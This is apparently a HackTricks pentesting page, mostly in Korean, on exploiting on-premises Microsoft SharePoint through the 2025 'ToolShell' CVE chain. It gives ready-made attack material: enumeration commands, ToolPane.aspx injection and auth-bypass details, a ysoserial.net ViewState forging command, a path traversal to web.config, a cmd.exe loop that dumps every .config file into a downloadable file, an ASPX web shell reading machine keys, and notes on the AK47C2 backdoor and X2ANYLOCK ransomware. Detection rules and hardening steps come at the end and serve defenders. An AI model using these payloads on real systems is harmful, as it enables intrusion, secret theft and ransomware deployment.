Microsoft SharePoint – Pentesting & Exploitation

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Microsoft SharePoint (온프레미스)는 ASP.NET/IIS 위에 구축되어 있습니다. 따라서 대부분의 고전적인 웹 공격 표면(ViewState, Web.Config, 웹 셸 등)이 존재하지만, SharePoint는 수백 개의 독점 ASPX 페이지와 웹 서비스를 함께 제공하여 노출된 공격 표면을 크게 확장합니다. 이 페이지는 Unit42에 의해 공개된 2025 exploit chain(CVE-2025-49704/49706/53770/53771)에 중점을 두고 SharePoint 환경 내에서 열거, 악용 및 지속하는 실용적인 요령을 수집합니다.

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – ToolPane.aspx에서의 코드 주입

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>는 페이지에 임의의 Server-Side Include 코드를 주입할 수 있게 하며, 이는 나중에 ASP.NET에 의해 컴파일됩니다. 공격자는 Process.Start()를 실행하는 C#을 삽입하고 악성 ViewState를 드롭할 수 있습니다.

2.2 CVE-2025-49706 – 부적절한 인증 우회

같은 페이지는 사이트 컨텍스트를 결정하기 위해 X-Forms_BaseUrl 헤더를 신뢰합니다. 이를 /_layouts/15/로 지정함으로써, 루트 사이트에서 강제되는 MFA/SSO를 인증되지 않은 상태로 우회할 수 있습니다.

2.3 CVE-2025-53770 – 인증되지 않은 ViewState 역직렬화 → RCE

공격자가 ToolPane.aspx에서 가젯을 제어하게 되면, .NET 역직렬화를 유발하는 서명되지 않은 (또는 MAC 전용) __VIEWSTATE 값을 게시할 수 있으며, 이는 w3wp.exe 내에서 코드 실행으로 이어집니다.

서명이 활성화된 경우, 임의의 web.config에서 ValidationKey/DecryptionKey를 훔치고 ysoserial.net 또는 ysodom을 사용하여 페이로드를 위조하십시오.

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – 경로 탐색 / web.config 노출

ToolPane.aspx에 조작된 Source 매개변수(예: ../../../../web.config)를 전송하면 대상 파일이 반환되어 다음과 같은 정보가 유출됩니다:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ ViewState / ASPXAUTH 쿠키 위조
  • 연결 문자열 및 비밀.

3. 실제에서 관찰된 포스트 익스플로잇 레시피

3.1 모든 .config 파일 외부 유출 (변형-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

결과적으로 생성된 debug_dev.js는 익명으로 다운로드할 수 있으며 모든 민감한 구성을 포함합니다.

3.2 Base64로 인코딩된 ASPX 웹 셸 배포 (변형-2)

powershell.exe -EncodedCommand <base64>

디코딩된 페이로드 예시 (축약됨):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

작성 대상:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

쉘은 기계 키를 읽고 회전하는 엔드포인트를 노출하여 농장 전역에서 ViewState 및 ASPXAUTH 쿠키를 위조할 수 있게 합니다.

3.3 난독화된 변형 (variation-3)

같은 쉘이지만:

  • ...\15\TEMPLATE\LAYOUTS\ 아래에 배치됨
  • 변수 이름이 단일 문자로 축소됨
  • 샌드박스 회피 및 타이밍 기반 AV 우회를 위해 Thread.Sleep(<ms>)가 추가됨.

3.4 AK47C2 다중 프로토콜 백도어 및 X2ANYLOCK 랜섬웨어 (2025-2026 관찰됨)

최근 사건 대응 조사(Unit42 “Project AK47”)는 공격자들이 초기 RCE 후에 ToolShell 체인을 활용하여 SharePoint 환경에 이중 채널 C2 임플란트와 랜섬웨어를 배포하는 방법을 보여줍니다:

AK47C2 – dnsclient 변형

  • 하드코딩된 DNS 서버: 10.7.66.10이 권한 있는 도메인 update.updatemicfosoft.com과 통신.
  • 메시지는 정적 키 VHBD@H로 XOR 암호화된 JSON 객체이며, 16진수로 인코딩되어 서브 도메인 레이블로 포함됨.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • 긴 쿼리는 청크로 나뉘고 s로 접두사가 붙은 후 서버 측에서 재조립됨.
  • 서버는 동일한 XOR/16진수 스킴을 가진 TXT 레코드로 응답:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • 버전 202504는 <COMMAND>::<SESSION_KEY> 및 청크 마커 1, 2, a의 단순화된 형식을 도입함.

AK47C2 – httpclient 변형

  • 동일한 JSON 및 XOR 루틴을 재사용하지만 HTTP POST 본문에 16진수 블롭을 libcurl(CURLOPT_POSTFIELDS 등)을 통해 전송.
  • 임의의 쉘 명령 실행을 허용하는 동일한 작업/결과 워크플로우:
  • 동적 대기 간격 및 킬 스위치 지침.

X2ANYLOCK 랜섬웨어

  • DLL 사이드 로딩을 통해 로드된 64비트 C++ 페이로드(아래 참조).
  • 파일 데이터에 AES-CBC를 사용하고 AES 키를 래핑하기 위해 RSA-2048을 사용한 후 확장자 .x2anylock을 추가.
  • 로컬 드라이브와 발견된 SMB 공유를 재귀적으로 암호화하며, 시스템 경로는 건너뜀.
  • 협상을 위한 정적 Tox ID를 포함한 평문 노트 How to decrypt my data.txt를 드롭.
  • 내부 킬 스위치 포함:
c
if (file_mod_time >= "2026-06-06") exit(0);

DLL 사이드 로딩 체인

  1. 공격자가 합법적인 7z.exe 옆에 dllhijacked.dll/My7zdllhijacked.dll를 작성.
  2. SharePoint에서 생성된 w3wp.exe7z.exe를 실행하고, Windows 검색 순서로 인해 악성 DLL을 로드하여 메모리에서 랜섬웨어 진입점을 호출.
  3. 별도의 LockBit 로더가 관찰됨 (bbb.msiclink_x86.execlink_dll_x86.dll)이 쉘 코드를 복호화하고 d3dl1.dllDLL 할로잉을 수행하여 LockBit 3.0을 실행.

info

X2ANYLOCK에서 발견된 동일한 정적 Tox ID가 유출된 LockBit 데이터베이스에 나타나며, 제휴 중복을 시사함.


4. 탐지 아이디어

텔레메트리의심스러운 이유
w3wp.exe → cmd.exe작업 프로세스가 쉘을 생성하는 경우는 드물어야 함
cmd.exe → powershell.exe -EncodedCommand고전적인 lolbin 패턴
debug_dev.js 또는 spinstall0.aspx 파일 이벤트 생성ToolShell에서 직접 가져온 IOC
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/모듈 로그)공개 PoC가 이 페이지를 호출함

예시 XDR / Sysmon 규칙 (의사-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. 강화 및 완화

  1. 패치 – 2025년 7월 보안 업데이트가 모든 네 개의 CVE를 수정합니다.
  2. 회전 – 침해 후 모든 <machineKey>ViewState 비밀을 변경합니다.
  3. WSS_WPGWSS_ADMIN_WPG 그룹에서 LAYOUTS 쓰기 권한을 제거합니다.
  4. 프록시/WAF 수준에서 /_layouts/15/ToolPane.aspx에 대한 외부 접근을 차단합니다.
  5. ViewStateUserKey, MAC 활성화, 및 사용자 정의 EventValidation을 활성화합니다.

관련 트릭

  • IIS 사후 활용 및 web.config 남용:

IIS - Internet Information Services

참고 문헌

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기